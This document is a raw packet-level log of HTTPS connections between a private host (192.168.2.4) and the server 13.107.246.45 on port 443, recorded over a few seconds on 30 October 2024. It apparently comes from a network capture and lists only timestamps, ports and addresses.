Oct 30, 2024 07:28:06.889091969 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.889194965 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.889202118 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.635920048 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.636306047 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.636677027 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.636699915 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.636976004 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.637010098 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.637314081 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.637320995 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.637475967 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.637481928 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.639594078 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.639923096 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.639930010 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.640306950 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.640311003 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.641421080 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.641702890 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.641711950 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.642080069 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.642085075 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.661134958 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.661660910 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.661744118 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.662103891 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.662117958 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.766382933 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.766604900 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.766676903 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.766796112 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.766812086 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.766824007 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.766829014 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.768502951 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.768596888 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.768654108 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.768678904 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.768783092 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.768793106 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.768805027 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.768867970 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.770522118 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.770555973 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.770629883 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.770766020 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.770781040 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.771183014 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.771231890 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.771286964 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.771393061 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.771408081 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773070097 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773093939 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773143053 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.773152113 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773191929 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.773344994 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.773349047 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773361921 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.773504019 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773538113 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.773580074 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.773886919 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.774135113 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.774187088 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.774209976 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.774220943 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.774230957 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.774235964 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.775590897 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.775603056 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.775677919 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.775790930 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.775799036 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.776237011 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.776267052 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.776334047 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.776474953 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.776489019 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.798185110 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.798213005 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.798278093 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.798295021 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.798331022 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.798558950 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.798572063 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.798584938 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.798592091 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.800973892 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.801027060 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:07.801110983 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.801258087 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:07.801271915 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.505137920 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.505784035 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.505804062 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.506239891 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.506246090 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.514427900 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.514451981 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.514811039 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.514828920 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.515080929 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.515089989 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.515269041 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.515274048 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.515532970 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.515539885 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.546916008 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.547542095 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.547563076 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.547995090 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.548001051 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.584300041 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.586338043 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.586366892 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.589903116 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.589911938 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.633814096 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.633913994 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.633960962 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.634418011 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.634434938 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.638642073 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.638690948 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.638768911 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.638927937 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.638937950 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.644345999 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.644717932 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.644763947 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.644824982 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.644830942 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.644841909 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.644846916 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.644967079 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.645188093 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.645226002 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.645770073 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.645787001 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.648420095 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.648458004 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.648539066 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.649041891 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.649069071 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.649111986 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.649286032 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.649295092 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.649352074 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.649363995 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.684195042 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.684309006 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.684354067 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.684489012 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.684505939 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.684520960 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.684530020 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.687032938 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.687060118 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.687160969 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.687275887 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.687285900 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.719716072 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.719842911 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.719898939 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.719995975 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.720016956 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.720031023 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.720038891 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.722696066 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.722722054 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:08.722789049 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.723007917 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:08.723015070 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.368557930 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.369256973 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.369270086 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.369971037 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.369975090 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.386812925 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.387770891 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.387784004 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.388185978 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.388190031 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.412669897 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.413320065 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.413352013 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.413840055 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.413846970 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.430519104 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.430828094 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.430839062 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.431274891 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.431282043 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.454638958 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.455008984 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.455022097 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.455445051 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.455451012 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.504077911 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.504184961 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.504264116 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.504466057 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.504481077 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.504493952 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.504501104 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.506933928 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.506966114 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.507045031 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.507261038 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.507268906 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.518227100 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.518484116 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.521728992 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.521780014 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.521785975 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.521804094 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.521806955 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.523889065 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.523937941 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.524002075 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.524121046 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.524132013 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.562664986 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.562794924 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.562860966 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.562983990 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.562989950 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.562999964 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.563003063 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.565037966 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.565068007 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.565121889 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.565262079 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.565273046 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.585391045 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.585470915 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.585588932 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.585618973 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.585634947 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.585649014 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.585659981 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.587651014 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.587686062 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.587754011 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.587877035 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.587891102 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.755651951 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.755759001 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.755950928 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.756155014 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.756155014 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.756175995 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.756192923 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.758639097 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.758675098 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:09.758744001 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.758878946 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:09.758888960 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.240863085 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.242775917 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.242788076 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.243208885 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.243213892 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.266813993 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.267394066 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.267417908 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.268052101 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.268058062 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.289899111 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.290363073 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.290381908 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.290782928 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.290787935 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.319412947 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.322824001 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.322835922 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.323241949 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.323247910 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.371638060 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.386096954 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.386162043 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.386265039 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.386281013 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.386296034 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.386302948 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.389429092 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.389460087 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.389800072 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.389986992 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.389995098 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.403574944 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.403631926 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.403805971 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.403841972 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.403856039 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.403867960 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.403872967 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.406354904 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.406397104 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.406567097 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.406862974 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.406872034 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.418797970 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.418893099 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.418953896 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.419076920 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.419092894 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.419104099 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.419110060 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.422086000 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.422117949 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.422346115 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.422347069 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.422372103 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.449461937 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.449625969 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.449693918 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.449728012 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.449736118 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.449755907 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.449760914 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.452079058 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.452095032 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.452163935 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.452311993 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.452322006 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.485579014 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.486110926 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.486124039 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.486540079 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.486546040 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.614893913 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.614974022 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.615338087 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.615339041 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.615339041 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.618290901 CET	49867	443	192.168.2.4	13.107.246.45
